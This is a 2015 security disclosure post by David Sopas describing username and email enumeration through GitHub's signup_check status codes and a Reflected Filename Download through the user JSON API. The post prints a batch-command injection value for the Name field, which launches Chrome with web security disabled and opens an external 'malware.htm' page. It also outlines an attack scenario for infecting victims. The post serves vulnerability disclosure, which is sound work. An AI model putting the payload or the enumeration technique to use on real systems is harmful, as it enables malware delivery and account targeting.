GitHub Username and Email Enumeration and RFD

WS201509 – GitHub.com Username and Email Enumeration and RFD
by David Sopas @dsopas
www.websegura.net

Description:

I found a couple of security issues on GitHub and both of them were considered acceptable risks from them so I decided to full disclosure with their permission.

Username and Email Enumeration:

Last year Facebook had a similar problem where the HTTP return codes give a malicious user the opportunity to check if the username/email is in use or not. I also found and wrote that Trello has the same problem.
It happens that Github.com is also vulnerable to this issue.

When I created an account If I send an existing or invalid username it shows:

Remote Address:192.30.252.130:443
Request URL:https://github.com/signup_check/username
Request Method:POST
Status Code:403 Forbidden

But if I send a non-existing username it shows:

Remote Address:192.30.252.130:443
Request URL:https://github.com/signup_check/username
Request Method:POST
Status Code:200 OK

It also works for emails the same way.

Remote Address:192.30.252.129:443
Request URL:https://github.com/signup_check/email
Request Method:POST
Status Code:403 Forbidden

Remote Address:192.30.252.129:443
Request URL:https://github.com/signup_check/email
Request Method:POST
Status Code:200 OK

What can be done with this? Using Burp proxy tool a malicious user could automatize this task and check for valid usernames and emails. Then even try to brute force them using a wordlist.

Reflected Filename Download:

I found a Reflected Filename Download on GitHub API. No need to inject anything on the URL because we will use a persistent reflected field to do that. Like “Name” field on the user account. Also other fields are affected – they only have to be reflected on the JSON file of the user.

Next step: Insert the batch command we want to use in the user account Name field [or others].
In my proof-of-concept I’ll open a Chrome new window with a “malicious page” disabling most protections from the browser:

David Sopas”||start chrome websegura.net/malware.htm –disable-web-security –disable-popup-blocking||

Keep in mind that in this proof-of-concept the page is not malicious. It’s only text.

So now when you visit my user JSON file – https://api.github.com/users/dsopas – you’ll see:

{
(…)
“name”: “David Sopas\”||start chrome websegura.net/malware.htm –disable-web-security –disable-popup-blocking||”,
“company”: “”,
“blog”: “”,
“location”: “”,
“email”: “”,
“hireable”: false,
“bio”: null,
“public_repos”: 0,
“public_gists”: 0,
“followers”: 0,
“following”: 0,
(…)
}

So the reflected part is done. We now need the filename part. Due to filename restritions on the GitHub path we need to use HTML5 DOWNLOAD attribute to do this. The following browsers supported this HTML5 feature:

  • Chrome
  • Opera
  • Android Browser
  • Chrome for Android
  • Firefox [forcing the user to “Save Link As”]

What this will do is when the user click on the download link will get a file supposed to be on api.github.com [a trusted domain] gaining credibility from the victim

So a possible attack scenario will be:

  1. Malicious user posts a new message on the GitHub [social network, forums, etc…]
  2. Victims clicks on the link and checks that the file is store on GitHub servers and runs it
  3. Victim has been infected with malware

You can check a PoC video I made at:

By the way a victim don’t even have to have an account on GitHub.

Timeline:
18 Mar 2015 – Both issues were reported to GitHub
19 Mar 2015 – They replied that it’s an acceptable risk
31 Mar 2015 – Full disclosure

Achaste interessante? Partilha!